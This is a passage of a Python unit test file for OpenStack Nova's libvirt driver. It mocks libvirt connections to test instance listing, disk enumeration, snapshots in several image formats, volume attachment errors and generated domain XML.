self.mox.StubOutWithMock(libvirt.libvirtError, "get_error_code") libvirt.libvirtError.get_error_code().AndReturn( libvirt.VIR_ERR_INTERNAL_ERROR) self.mox.ReplayAll() conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.assertRaises(exception.NovaException, conn.list_instances) def test_list_instance_uuids_throws_nova_exception(self): def fake_lookup(instance_name): raise libvirt.libvirtError("we deleted an instance!") self.mox.StubOutWithMock(libvirt_driver.LibvirtDriver, '_conn') libvirt_driver.LibvirtDriver._conn.lookupByID = fake_lookup libvirt_driver.LibvirtDriver._conn.numOfDomains = lambda: 1 libvirt_driver.LibvirtDriver._conn.listDomainsID = lambda: [0, 1] libvirt_driver.LibvirtDriver._conn.listDefinedDomains = lambda: [] self.mox.StubOutWithMock(libvirt.libvirtError, "get_error_code") libvirt.libvirtError.get_error_code().AndReturn( libvirt.VIR_ERR_INTERNAL_ERROR) self.mox.ReplayAll() conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.assertRaises(exception.NovaException, conn.list_instance_uuids) def test_get_all_block_devices(self): xml = [ # NOTE(vish): id 0 is skipped None, """ <domain type='kvm'> <devices> <disk type='file'> <source file='filename'/> </disk> <disk type='block'> <source dev='/path/to/dev/1'/> </disk> </devices> </domain> """, """ <domain type='kvm'> <devices> <disk type='file'> <source file='filename'/> </disk> </devices> </domain> """, """ <domain type='kvm'> <devices> <disk type='file'> <source file='filename'/> </disk> <disk type='block'> <source dev='/path/to/dev/3'/> </disk> </devices> </domain> """, ] def fake_lookup(id): return FakeVirtDomain(xml[id]) self.mox.StubOutWithMock(libvirt_driver.LibvirtDriver, '_conn') libvirt_driver.LibvirtDriver._conn.numOfDomains = lambda: 4 libvirt_driver.LibvirtDriver._conn.listDomainsID = lambda: range(4) libvirt_driver.LibvirtDriver._conn.lookupByID = fake_lookup self.mox.ReplayAll() conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) devices = conn.get_all_block_devices() self.assertEqual(devices, ['/path/to/dev/1', '/path/to/dev/3']) def test_get_disks(self): xml = [ # NOTE(vish): id 0 is skipped None, """ <domain type='kvm'> <devices> <disk type='file'> <source file='filename'/> <target dev='vda' bus='virtio'/> </disk> <disk type='block'> <source dev='/path/to/dev/1'/> <target dev='vdb' bus='virtio'/> </disk> </devices> </domain> """, """ <domain type='kvm'> <devices> <disk type='file'> <source file='filename'/> <target dev='vda' bus='virtio'/> </disk> </devices> </domain> """, """ <domain type='kvm'> <devices> <disk type='file'> <source file='filename'/> <target dev='vda' bus='virtio'/> </disk> <disk type='block'> <source dev='/path/to/dev/3'/> <target dev='vdb' bus='virtio'/> </disk> </devices> </domain> """, ] def fake_lookup(id): return FakeVirtDomain(xml[id]) def fake_lookup_name(name): return FakeVirtDomain(xml[1]) self.mox.StubOutWithMock(libvirt_driver.LibvirtDriver, '_conn') libvirt_driver.LibvirtDriver._conn.numOfDomains = lambda: 4 libvirt_driver.LibvirtDriver._conn.listDomainsID = lambda: range(4) libvirt_driver.LibvirtDriver._conn.lookupByID = fake_lookup libvirt_driver.LibvirtDriver._conn.lookupByName = fake_lookup_name libvirt_driver.LibvirtDriver._conn.listDefinedDomains = lambda: [] self.mox.ReplayAll() conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) devices = conn.get_disks(conn.list_instances()[0]) self.assertEqual(devices, ['vda', 'vdb']) def test_snapshot_in_ami_format(self): expected_calls = [ {'args': (), 'kwargs': {'task_state': task_states.IMAGE_PENDING_UPLOAD}}, {'args': (), 'kwargs': {'task_state': task_states.IMAGE_UPLOADING, 'expected_state': task_states.IMAGE_PENDING_UPLOAD}}] func_call_matcher = matchers.FunctionCallMatcher(expected_calls) self.flags(snapshots_directory='./', group='libvirt') # Start test image_service = nova.tests.image.fake.FakeImageService() # Assign different image_ref from nova/images/fakes for testing ami test_instance = copy.deepcopy(self.test_instance) test_instance["image_ref"] = 'c905cedb-7281-47e4-8a62-f26bc5fc4c77' # Assuming that base image already exists in image_service instance_ref = db.instance_create(self.context, test_instance) properties = {'instance_id': instance_ref['id'], 'user_id': str(self.context.user_id)} snapshot_name = 'test-snap' sent_meta = {'name': snapshot_name, 'is_public': False, 'status': 'creating', 'properties': properties} # Create new image. It will be updated in snapshot method # To work with it from snapshot, the single image_service is needed recv_meta = image_service.create(context, sent_meta) self.mox.StubOutWithMock(libvirt_driver.LibvirtDriver, '_conn') libvirt_driver.LibvirtDriver._conn.lookupByName = self.fake_lookup self.mox.StubOutWithMock(libvirt_driver.utils, 'execute') libvirt_driver.utils.execute = self.fake_execute libvirt_driver.libvirt_utils.disk_type = "qcow2" self.mox.ReplayAll() conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) conn.snapshot(self.context, instance_ref, recv_meta['id'], func_call_matcher.call) snapshot = image_service.show(context, recv_meta['id']) self.assertIsNone(func_call_matcher.match()) self.assertEqual(snapshot['properties']['image_state'], 'available') self.assertEqual(snapshot['status'], 'active') self.assertEqual(snapshot['disk_format'], 'ami') self.assertEqual(snapshot['name'], snapshot_name) def test_lxc_snapshot_in_ami_format(self): expected_calls = [ {'args': (), 'kwargs': {'task_state': task_states.IMAGE_PENDING_UPLOAD}}, {'args': (), 'kwargs': {'task_state': task_states.IMAGE_UPLOADING, 'expected_state': task_states.IMAGE_PENDING_UPLOAD}}] func_call_matcher = matchers.FunctionCallMatcher(expected_calls) self.flags(snapshots_directory='./', virt_type='lxc', group='libvirt') # Start test image_service = nova.tests.image.fake.FakeImageService() # Assign different image_ref from nova/images/fakes for testing ami test_instance = copy.deepcopy(self.test_instance) test_instance["image_ref"] = 'c905cedb-7281-47e4-8a62-f26bc5fc4c77' # Assuming that base image already exists in image_service instance_ref = db.instance_create(self.context, test_instance) properties = {'instance_id': instance_ref['id'], 'user_id': str(self.context.user_id)} snapshot_name = 'test-snap' sent_meta = {'name': snapshot_name, 'is_public': False, 'status': 'creating', 'properties': properties} # Create new image. It will be updated in snapshot method # To work with it from snapshot, the single image_service is needed recv_meta = image_service.create(context, sent_meta) self.mox.StubOutWithMock(libvirt_driver.LibvirtDriver, '_conn') libvirt_driver.LibvirtDriver._conn.lookupByName = self.fake_lookup self.mox.StubOutWithMock(libvirt_driver.utils, 'execute') libvirt_driver.utils.execute = self.fake_execute libvirt_driver.libvirt_utils.disk_type = "qcow2" self.mox.ReplayAll() conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) conn.snapshot(self.context, instance_ref, recv_meta['id'], func_call_matcher.call) snapshot = image_service.show(context, recv_meta['id']) self.assertIsNone(func_call_matcher.match()) self.assertEqual(snapshot['properties']['image_state'], 'available') self.assertEqual(snapshot['status'], 'active') self.assertEqual(snapshot['disk_format'], 'ami') self.assertEqual(snapshot['name'], snapshot_name) def test_snapshot_in_raw_format(self): expected_calls = [ {'args': (), 'kwargs': {'task_state': task_states.IMAGE_PENDING_UPLOAD}}, {'args': (), 'kwargs': {'task_state': task_states.IMAGE_UPLOADING, 'expected_state': task_states.IMAGE_PENDING_UPLOAD}}] func_call_matcher = matchers.FunctionCallMatcher(expected_calls) self.flags(snapshots_directory='./', group='libvirt') # Start test image_service = nova.tests.image.fake.FakeImageService() # Assuming that base image already exists in image_service instance_ref = db.instance_create(self.context, self.test_instance) properties = {'instance_id': instance_ref['id'], 'user_id': str(self.context.user_id)} snapshot_name = 'test-snap' sent_meta = {'name': snapshot_name, 'is_public': False, 'status': 'creating', 'properties': properties} # Create new image. It will be updated in snapshot method # To work with it from snapshot, the single image_service is needed recv_meta = image_service.create(context, sent_meta) self.mox.StubOutWithMock(libvirt_driver.LibvirtDriver, '_conn') libvirt_driver.LibvirtDriver._conn.lookupByName = self.fake_lookup self.mox.StubOutWithMock(libvirt_driver.utils, 'execute') libvirt_driver.utils.execute = self.fake_execute self.stubs.Set(libvirt_driver.libvirt_utils, 'disk_type', 'raw') def convert_image(source, dest, out_format): libvirt_driver.libvirt_utils.files[dest] = '' self.stubs.Set(images, 'convert_image', convert_image) self.mox.ReplayAll() conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) conn.snapshot(self.context, instance_ref, recv_meta['id'], func_call_matcher.call) snapshot = image_service.show(context, recv_meta['id']) self.assertIsNone(func_call_matcher.match()) self.assertEqual(snapshot['properties']['image_state'], 'available') self.assertEqual(snapshot['status'], 'active') self.assertEqual(snapshot['disk_format'], 'raw') self.assertEqual(snapshot['name'], snapshot_name) def test_lxc_snapshot_in_raw_format(self): expected_calls = [ {'args': (), 'kwargs': {'task_state': task_states.IMAGE_PENDING_UPLOAD}}, {'args': (), 'kwargs': {'task_state': task_states.IMAGE_UPLOADING, 'expected_state': task_states.IMAGE_PENDING_UPLOAD}}] func_call_matcher = matchers.FunctionCallMatcher(expected_calls) self.flags(snapshots_directory='./', virt_type='lxc', group='libvirt') # Start test image_service = nova.tests.image.fake.FakeImageService() # Assuming that base image already exists in image_service instance_ref = db.instance_create(self.context, self.test_instance) properties = {'instance_id': instance_ref['id'], 'user_id': str(self.context.user_id)} snapshot_name = 'test-snap' sent_meta = {'name': snapshot_name, 'is_public': False, 'status': 'creating', 'properties': properties} # Create new image. It will be updated in snapshot method # To work with it from snapshot, the single image_service is needed recv_meta = image_service.create(context, sent_meta) self.mox.StubOutWithMock(libvirt_driver.LibvirtDriver, '_conn') libvirt_driver.LibvirtDriver._conn.lookupByName = self.fake_lookup self.mox.StubOutWithMock(libvirt_driver.utils, 'execute') libvirt_driver.utils.execute = self.fake_execute self.stubs.Set(libvirt_driver.libvirt_utils, 'disk_type', 'raw') def convert_image(source, dest, out_format): libvirt_driver.libvirt_utils.files[dest] = '' self.stubs.Set(images, 'convert_image', convert_image) self.mox.ReplayAll() conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) conn.snapshot(self.context, instance_ref, recv_meta['id'], func_call_matcher.call) snapshot = image_service.show(context, recv_meta['id']) self.assertIsNone(func_call_matcher.match()) self.assertEqual(snapshot['properties']['image_state'], 'available') self.assertEqual(snapshot['status'], 'active') self.assertEqual(snapshot['disk_format'], 'raw') self.assertEqual(snapshot['name'], snapshot_name) def test_snapshot_in_qcow2_format(self): expected_calls = [ {'args': (), 'kwargs': {'task_state': task_states.IMAGE_PENDING_UPLOAD}}, {'args': (), 'kwargs': {'task_state': task_states.IMAGE_UPLOADING, 'expected_state': task_states.IMAGE_PENDING_UPLOAD}}] func_call_matcher = matchers.FunctionCallMatcher(expected_calls) self.flags(snapshot_image_format='qcow2', snapshots_directory='./', group='libvirt') # Start test image_service = nova.tests.image.fake.FakeImageService() # Assuming that base image already exists in image_service instance_ref = db.instance_create(self.context, self.test_instance) properties = {'instance_id': instance_ref['id'], 'user_id': str(self.context.user_id)} snapshot_name = 'test-snap' sent_meta = {'name': snapshot_name, 'is_public': False, 'status': 'creating', 'properties': properties} # Create new image. It will be updated in snapshot method # To work with it from snapshot, the single image_service is needed recv_meta = image_service.create(context, sent_meta) self.mox.StubOutWithMock(libvirt_driver.LibvirtDriver, '_conn') libvirt_driver.LibvirtDriver._conn.lookupByName = self.fake_lookup self.mox.StubOutWithMock(libvirt_driver.utils, 'execute') libvirt_driver.utils.execute = self.fake_execute libvirt_driver.libvirt_utils.disk_type = "qcow2" self.mox.ReplayAll() conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) conn.snapshot(self.context, instance_ref, recv_meta['id'], func_call_matcher.call) snapshot = image_service.show(context, recv_meta['id']) self.assertIsNone(func_call_matcher.match()) self.assertEqual(snapshot['properties']['image_state'], 'available') self.assertEqual(snapshot['status'], 'active') self.assertEqual(snapshot['disk_format'], 'qcow2') self.assertEqual(snapshot['name'], snapshot_name) def test_lxc_snapshot_in_qcow2_format(self): expected_calls = [ {'args': (), 'kwargs': {'task_state': task_states.IMAGE_PENDING_UPLOAD}}, {'args': (), 'kwargs': {'task_state': task_states.IMAGE_UPLOADING, 'expected_state': task_states.IMAGE_PENDING_UPLOAD}}] func_call_matcher = matchers.FunctionCallMatcher(expected_calls) self.flags(snapshot_image_format='qcow2', snapshots_directory='./', virt_type='lxc', group='libvirt') # Start test image_service = nova.tests.image.fake.FakeImageService() # Assuming that base image already exists in image_service instance_ref = db.instance_create(self.context, self.test_instance) properties = {'instance_id': instance_ref['id'], 'user_id': str(self.context.user_id)} snapshot_name = 'test-snap' sent_meta = {'name': snapshot_name, 'is_public': False, 'status': 'creating', 'properties': properties} # Create new image. It will be updated in snapshot method # To work with it from snapshot, the single image_service is needed recv_meta = image_service.create(context, sent_meta) self.mox.StubOutWithMock(libvirt_driver.LibvirtDriver, '_conn') libvirt_driver.LibvirtDriver._conn.lookupByName = self.fake_lookup self.mox.StubOutWithMock(libvirt_driver.utils, 'execute') libvirt_driver.utils.execute = self.fake_execute libvirt_driver.libvirt_utils.disk_type = "qcow2" self.mox.ReplayAll() conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) conn.snapshot(self.context, instance_ref, recv_meta['id'], func_call_matcher.call) snapshot = image_service.show(context, recv_meta['id']) self.assertIsNone(func_call_matcher.match()) self.assertEqual(snapshot['properties']['image_state'], 'available') self.assertEqual(snapshot['status'], 'active') self.assertEqual(snapshot['disk_format'], 'qcow2') self.assertEqual(snapshot['name'], snapshot_name) def test_snapshot_no_image_architecture(self): expected_calls = [ {'args': (), 'kwargs': {'task_state': task_states.IMAGE_PENDING_UPLOAD}}, {'args': (), 'kwargs': {'task_state': task_states.IMAGE_UPLOADING, 'expected_state': task_states.IMAGE_PENDING_UPLOAD}}] func_call_matcher = matchers.FunctionCallMatcher(expected_calls) self.flags(snapshots_directory='./', group='libvirt') # Start test image_service = nova.tests.image.fake.FakeImageService() # Assign different image_ref from nova/images/fakes for # testing different base image test_instance = copy.deepcopy(self.test_instance) test_instance["image_ref"] = '76fa36fc-c930-4bf3-8c8a-ea2a2420deb6' # Assuming that base image already exists in image_service instance_ref = db.instance_create(self.context, test_instance) properties = {'instance_id': instance_ref['id'], 'user_id': str(self.context.user_id)} snapshot_name = 'test-snap' sent_meta = {'name': snapshot_name, 'is_public': False, 'status': 'creating', 'properties': properties} # Create new image. It will be updated in snapshot method # To work with it from snapshot, the single image_service is needed recv_meta = image_service.create(context, sent_meta) self.mox.StubOutWithMock(libvirt_driver.LibvirtDriver, '_conn') libvirt_driver.LibvirtDriver._conn.lookupByName = self.fake_lookup self.mox.StubOutWithMock(libvirt_driver.utils, 'execute') libvirt_driver.utils.execute = self.fake_execute self.mox.ReplayAll() conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) conn.snapshot(self.context, instance_ref, recv_meta['id'], func_call_matcher.call) snapshot = image_service.show(context, recv_meta['id']) self.assertIsNone(func_call_matcher.match()) self.assertEqual(snapshot['properties']['image_state'], 'available') self.assertEqual(snapshot['status'], 'active') self.assertEqual(snapshot['name'], snapshot_name) def test_lxc_snapshot_no_image_architecture(self): expected_calls = [ {'args': (), 'kwargs': {'task_state': task_states.IMAGE_PENDING_UPLOAD}}, {'args': (), 'kwargs': {'task_state': task_states.IMAGE_UPLOADING, 'expected_state': task_states.IMAGE_PENDING_UPLOAD}}] func_call_matcher = matchers.FunctionCallMatcher(expected_calls) self.flags(snapshots_directory='./', virt_type='lxc', group='libvirt') # Start test image_service = nova.tests.image.fake.FakeImageService() # Assign different image_ref from nova/images/fakes for # testing different base image test_instance = copy.deepcopy(self.test_instance) test_instance["image_ref"] = '76fa36fc-c930-4bf3-8c8a-ea2a2420deb6' # Assuming that base image already exists in image_service instance_ref = db.instance_create(self.context, test_instance) properties = {'instance_id': instance_ref['id'], 'user_id': str(self.context.user_id)} snapshot_name = 'test-snap' sent_meta = {'name': snapshot_name, 'is_public': False, 'status': 'creating', 'properties': properties} # Create new image. It will be updated in snapshot method # To work with it from snapshot, the single image_service is needed recv_meta = image_service.create(context, sent_meta) self.mox.StubOutWithMock(libvirt_driver.LibvirtDriver, '_conn') libvirt_driver.LibvirtDriver._conn.lookupByName = self.fake_lookup self.mox.StubOutWithMock(libvirt_driver.utils, 'execute') libvirt_driver.utils.execute = self.fake_execute self.mox.ReplayAll() conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) conn.snapshot(self.context, instance_ref, recv_meta['id'], func_call_matcher.call) snapshot = image_service.show(context, recv_meta['id']) self.assertIsNone(func_call_matcher.match()) self.assertEqual(snapshot['properties']['image_state'], 'available') self.assertEqual(snapshot['status'], 'active') self.assertEqual(snapshot['name'], snapshot_name) def test_snapshot_no_original_image(self): expected_calls = [ {'args': (), 'kwargs': {'task_state': task_states.IMAGE_PENDING_UPLOAD}}, {'args': (), 'kwargs': {'task_state': task_states.IMAGE_UPLOADING, 'expected_state': task_states.IMAGE_PENDING_UPLOAD}}] func_call_matcher = matchers.FunctionCallMatcher(expected_calls) self.flags(snapshots_directory='./', group='libvirt') # Start test image_service = nova.tests.image.fake.FakeImageService() # Assign a non-existent image test_instance = copy.deepcopy(self.test_instance) test_instance["image_ref"] = '661122aa-1234-dede-fefe-babababababa' instance_ref = db.instance_create(self.context, test_instance) properties = {'instance_id': instance_ref['id'], 'user_id': str(self.context.user_id)} snapshot_name = 'test-snap' sent_meta = {'name': snapshot_name, 'is_public': False, 'status': 'creating', 'properties': properties} recv_meta = image_service.create(context, sent_meta) self.mox.StubOutWithMock(libvirt_driver.LibvirtDriver, '_conn') libvirt_driver.LibvirtDriver._conn.lookupByName = self.fake_lookup self.mox.StubOutWithMock(libvirt_driver.utils, 'execute') libvirt_driver.utils.execute = self.fake_execute self.mox.ReplayAll() conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) conn.snapshot(self.context, instance_ref, recv_meta['id'], func_call_matcher.call) snapshot = image_service.show(context, recv_meta['id']) self.assertIsNone(func_call_matcher.match()) self.assertEqual(snapshot['properties']['image_state'], 'available') self.assertEqual(snapshot['status'], 'active') self.assertEqual(snapshot['name'], snapshot_name) def test_lxc_snapshot_no_original_image(self): expected_calls = [ {'args': (), 'kwargs': {'task_state': task_states.IMAGE_PENDING_UPLOAD}}, {'args': (), 'kwargs': {'task_state': task_states.IMAGE_UPLOADING, 'expected_state': task_states.IMAGE_PENDING_UPLOAD}}] func_call_matcher = matchers.FunctionCallMatcher(expected_calls) self.flags(snapshots_directory='./', virt_type='lxc', group='libvirt') # Start test image_service = nova.tests.image.fake.FakeImageService() # Assign a non-existent image test_instance = copy.deepcopy(self.test_instance) test_instance["image_ref"] = '661122aa-1234-dede-fefe-babababababa' instance_ref = db.instance_create(self.context, test_instance) properties = {'instance_id': instance_ref['id'], 'user_id': str(self.context.user_id)} snapshot_name = 'test-snap' sent_meta = {'name': snapshot_name, 'is_public': False, 'status': 'creating', 'properties': properties} recv_meta = image_service.create(context, sent_meta) self.mox.StubOutWithMock(libvirt_driver.LibvirtDriver, '_conn') libvirt_driver.LibvirtDriver._conn.lookupByName = self.fake_lookup self.mox.StubOutWithMock(libvirt_driver.utils, 'execute') libvirt_driver.utils.execute = self.fake_execute self.mox.ReplayAll() conn = libvirt_driver.LibvirtDriver(False) conn.snapshot(self.context, instance_ref, recv_meta['id'], func_call_matcher.call) snapshot = image_service.show(context, recv_meta['id']) self.assertIsNone(func_call_matcher.match()) self.assertEqual(snapshot['properties']['image_state'], 'available') self.assertEqual(snapshot['status'], 'active') self.assertEqual(snapshot['name'], snapshot_name) def test_snapshot_metadata_image(self): expected_calls = [ {'args': (), 'kwargs': {'task_state': task_states.IMAGE_PENDING_UPLOAD}}, {'args': (), 'kwargs': {'task_state': task_states.IMAGE_UPLOADING, 'expected_state': task_states.IMAGE_PENDING_UPLOAD}}] func_call_matcher = matchers.FunctionCallMatcher(expected_calls) self.flags(snapshots_directory='./', group='libvirt') image_service = nova.tests.image.fake.FakeImageService() # Assign an image with an architecture defined (x86_64) test_instance = copy.deepcopy(self.test_instance) test_instance["image_ref"] = 'a440c04b-79fa-479c-bed1-0b816eaec379' instance_ref = db.instance_create(self.context, test_instance) properties = {'instance_id': instance_ref['id'], 'user_id': str(self.context.user_id), 'architecture': 'fake_arch', 'key_a': 'value_a', 'key_b': 'value_b'} snapshot_name = 'test-snap' sent_meta = {'name': snapshot_name, 'is_public': False, 'status': 'creating', 'properties': properties} recv_meta = image_service.create(context, sent_meta) self.mox.StubOutWithMock(libvirt_driver.LibvirtDriver, '_conn') libvirt_driver.LibvirtDriver._conn.lookupByName = self.fake_lookup self.mox.StubOutWithMock(libvirt_driver.utils, 'execute') libvirt_driver.utils.execute = self.fake_execute self.mox.ReplayAll() conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) conn.snapshot(self.context, instance_ref, recv_meta['id'], func_call_matcher.call) snapshot = image_service.show(context, recv_meta['id']) self.assertIsNone(func_call_matcher.match()) self.assertEqual(snapshot['properties']['image_state'], 'available') self.assertEqual(snapshot['properties']['architecture'], 'fake_arch') self.assertEqual(snapshot['properties']['key_a'], 'value_a') self.assertEqual(snapshot['properties']['key_b'], 'value_b') self.assertEqual(snapshot['status'], 'active') self.assertEqual(snapshot['name'], snapshot_name) def test_snapshot_with_os_type(self): expected_calls = [ {'args': (), 'kwargs': {'task_state': task_states.IMAGE_PENDING_UPLOAD}}, {'args': (), 'kwargs': {'task_state': task_states.IMAGE_UPLOADING, 'expected_state': task_states.IMAGE_PENDING_UPLOAD}}] func_call_matcher = matchers.FunctionCallMatcher(expected_calls) self.flags(snapshots_directory='./', group='libvirt') image_service = nova.tests.image.fake.FakeImageService() # Assign a non-existent image test_instance = copy.deepcopy(self.test_instance) test_instance["image_ref"] = '661122aa-1234-dede-fefe-babababababa' test_instance["os_type"] = 'linux' instance_ref = db.instance_create(self.context, test_instance) properties = {'instance_id': instance_ref['id'], 'user_id': str(self.context.user_id), 'os_type': instance_ref['os_type']} snapshot_name = 'test-snap' sent_meta = {'name': snapshot_name, 'is_public': False, 'status': 'creating', 'properties': properties} recv_meta = image_service.create(context, sent_meta) self.mox.StubOutWithMock(libvirt_driver.LibvirtDriver, '_conn') libvirt_driver.LibvirtDriver._conn.lookupByName = self.fake_lookup self.mox.StubOutWithMock(libvirt_driver.utils, 'execute') libvirt_driver.utils.execute = self.fake_execute self.mox.ReplayAll() conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) conn.snapshot(self.context, instance_ref, recv_meta['id'], func_call_matcher.call) snapshot = image_service.show(context, recv_meta['id']) self.assertIsNone(func_call_matcher.match()) self.assertEqual(snapshot['properties']['image_state'], 'available') self.assertEqual(snapshot['properties']['os_type'], instance_ref['os_type']) self.assertEqual(snapshot['status'], 'active') self.assertEqual(snapshot['name'], snapshot_name) def test__create_snapshot_metadata(self): base = {} instance = {'kernel_id': 'kernel', 'project_id': 'prj_id', 'ramdisk_id': 'ram_id', 'os_type': None} img_fmt = 'raw' snp_name = 'snapshot_name' conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) ret = conn._create_snapshot_metadata(base, instance, img_fmt, snp_name) expected = {'is_public': False, 'status': 'active', 'name': snp_name, 'properties': { 'kernel_id': instance['kernel_id'], 'image_location': 'snapshot', 'image_state': 'available', 'owner_id': instance['project_id'], 'ramdisk_id': instance['ramdisk_id'], }, 'disk_format': img_fmt, 'container_format': base.get('container_format', 'bare') } self.assertEqual(ret, expected) # simulate an instance with os_type field defined # disk format equals to ami # container format not equals to bare instance['os_type'] = 'linux' base['disk_format'] = 'ami' base['container_format'] = 'test_container' expected['properties']['os_type'] = instance['os_type'] expected['disk_format'] = base['disk_format'] expected['container_format'] = base.get('container_format', 'bare') ret = conn._create_snapshot_metadata(base, instance, img_fmt, snp_name) self.assertEqual(ret, expected) def test_attach_invalid_volume_type(self): self.create_fake_libvirt_mock() libvirt_driver.LibvirtDriver._conn.lookupByName = self.fake_lookup self.mox.ReplayAll() conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.assertRaises(exception.VolumeDriverNotFound, conn.attach_volume, None, {"driver_volume_type": "badtype"}, {"name": "fake-instance"}, "/dev/sda") def test_attach_blockio_invalid_hypervisor(self): self.flags(virt_type='fake_type', group='libvirt') self.create_fake_libvirt_mock() libvirt_driver.LibvirtDriver._conn.lookupByName = self.fake_lookup self.mox.ReplayAll() conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.assertRaises(exception.InvalidHypervisorType, conn.attach_volume, None, {"driver_volume_type": "fake", "data": {"logical_block_size": "4096", "physical_block_size": "4096"} }, {"name": "fake-instance"}, "/dev/sda") def test_attach_blockio_invalid_version(self): def get_lib_version_stub(): return (0 * 1000 * 1000) + (9 * 1000) + 8 self.flags(virt_type='qemu', group='libvirt') self.create_fake_libvirt_mock() libvirt_driver.LibvirtDriver._conn.lookupByName = self.fake_lookup self.mox.ReplayAll() conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.stubs.Set(self.conn, "getLibVersion", get_lib_version_stub) self.assertRaises(exception.Invalid, conn.attach_volume, None, {"driver_volume_type": "fake", "data": {"logical_block_size": "4096", "physical_block_size": "4096"} }, {"name": "fake-instance"}, "/dev/sda") def test_multi_nic(self): instance_data = dict(self.test_instance) network_info = _fake_network_info(self.stubs, 2) conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, instance_data) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) xml = conn.to_xml(self.context, instance_ref, network_info, disk_info) tree = etree.fromstring(xml) interfaces = tree.findall("./devices/interface") self.assertEqual(len(interfaces), 2) self.assertEqual(interfaces[0].get('type'), 'bridge') def _behave_supports_direct_io(self, raise_open=False, raise_write=False, exc=ValueError()): open_behavior = os.open(os.path.join('.', '.directio.test'), os.O_CREAT | os.O_WRONLY | os.O_DIRECT) if raise_open: open_behavior.AndRaise(exc) else: open_behavior.AndReturn(3) write_bahavior = os.write(3, mox.IgnoreArg()) if raise_write: write_bahavior.AndRaise(exc) else: os.close(3) os.unlink(3) def test_supports_direct_io(self): einval = OSError() einval.errno = errno.EINVAL self.mox.StubOutWithMock(os, 'open') self.mox.StubOutWithMock(os, 'write') self.mox.StubOutWithMock(os, 'close') self.mox.StubOutWithMock(os, 'unlink') _supports_direct_io = libvirt_driver.LibvirtDriver._supports_direct_io self._behave_supports_direct_io() self._behave_supports_direct_io(raise_write=True) self._behave_supports_direct_io(raise_open=True) self._behave_supports_direct_io(raise_write=True, exc=einval) self._behave_supports_direct_io(raise_open=True, exc=einval) self.mox.ReplayAll() self.assertTrue(_supports_direct_io('.')) self.assertRaises(ValueError, _supports_direct_io, '.') self.assertRaises(ValueError, _supports_direct_io, '.') self.assertFalse(_supports_direct_io('.')) self.assertFalse(_supports_direct_io('.')) self.mox.VerifyAll() def _check_xml_and_container(self, instance): user_context = context.RequestContext(self.user_id, self.project_id) instance_ref = db.instance_create(user_context, instance) self.flags(virt_type='lxc', group='libvirt') conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) self.assertEqual(conn.uri(), 'lxc:///') network_info = _fake_network_info(self.stubs, 1) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) xml = conn.to_xml(self.context, instance_ref, network_info, disk_info) tree = etree.fromstring(xml) check = [ (lambda t: t.find('.').get('type'), 'lxc'), (lambda t: t.find('./os/type').text, 'exe'), (lambda t: t.find('./devices/filesystem/target').get('dir'), '/')] for i, (check, expected_result) in enumerate(check): self.assertEqual(check(tree), expected_result, '%s failed common check %d' % (xml, i)) target = tree.find('./devices/filesystem/source').get('dir') self.assertTrue(len(target) > 0) def _check_xml_and_disk_prefix(self, instance, prefix=None): user_context = context.RequestContext(self.user_id, self.project_id) instance_ref = db.instance_create(user_context, instance) def _get_prefix(p, default): if p: return p + 'a' return default type_disk_map = { 'qemu': [ (lambda t: t.find('.').get('type'), 'qemu'), (lambda t: t.find('./devices/disk/target').get('dev'), _get_prefix(prefix, 'vda'))], 'xen': [ (lambda t: t.find('.').get('type'), 'xen'), (lambda t: t.find('./devices/disk/target').get('dev'), _get_prefix(prefix, 'sda'))], 'kvm': [ (lambda t: t.find('.').get('type'), 'kvm'), (lambda t: t.find('./devices/disk/target').get('dev'), _get_prefix(prefix, 'vda'))], 'uml': [ (lambda t: t.find('.').get('type'), 'uml'), (lambda t: t.find('./devices/disk/target').get('dev'), _get_prefix(prefix, 'ubda'))] } for (virt_type, checks) in type_disk_map.iteritems(): self.flags(virt_type=virt_type, group='libvirt') if prefix: self.flags(disk_prefix=prefix, group='libvirt') conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) network_info = _fake_network_info(self.stubs, 1) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) xml = conn.to_xml(self.context, instance_ref, network_info, disk_info) tree = etree.fromstring(xml) for i, (check, expected_result) in enumerate(checks): self.assertEqual(check(tree), expected_result, '%s != %s failed check %d' % (check(tree), expected_result, i)) def _check_xml_and_disk_driver(self, image_meta): os_open = os.open directio_supported = True def os_open_stub(path, flags, *args, **kwargs): if flags & os.O_DIRECT: if not directio_supported: raise OSError(errno.EINVAL, '%s: %s' % (os.strerror(errno.EINVAL), path)) flags &= ~os.O_DIRECT return os_open(path, flags, *args, **kwargs) self.stubs.Set(os, 'open', os_open_stub) @staticmethod def connection_supports_direct_io_stub(dirpath): return directio_supported self.stubs.Set(libvirt_driver.LibvirtDriver, '_supports_direct_io', connection_supports_direct_io_stub) user_context = context.RequestContext(self.user_id, self.project_id) instance_ref = db.instance_create(user_context, self.test_instance) network_info = _fake_network_info(self.stubs, 1) drv = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) xml 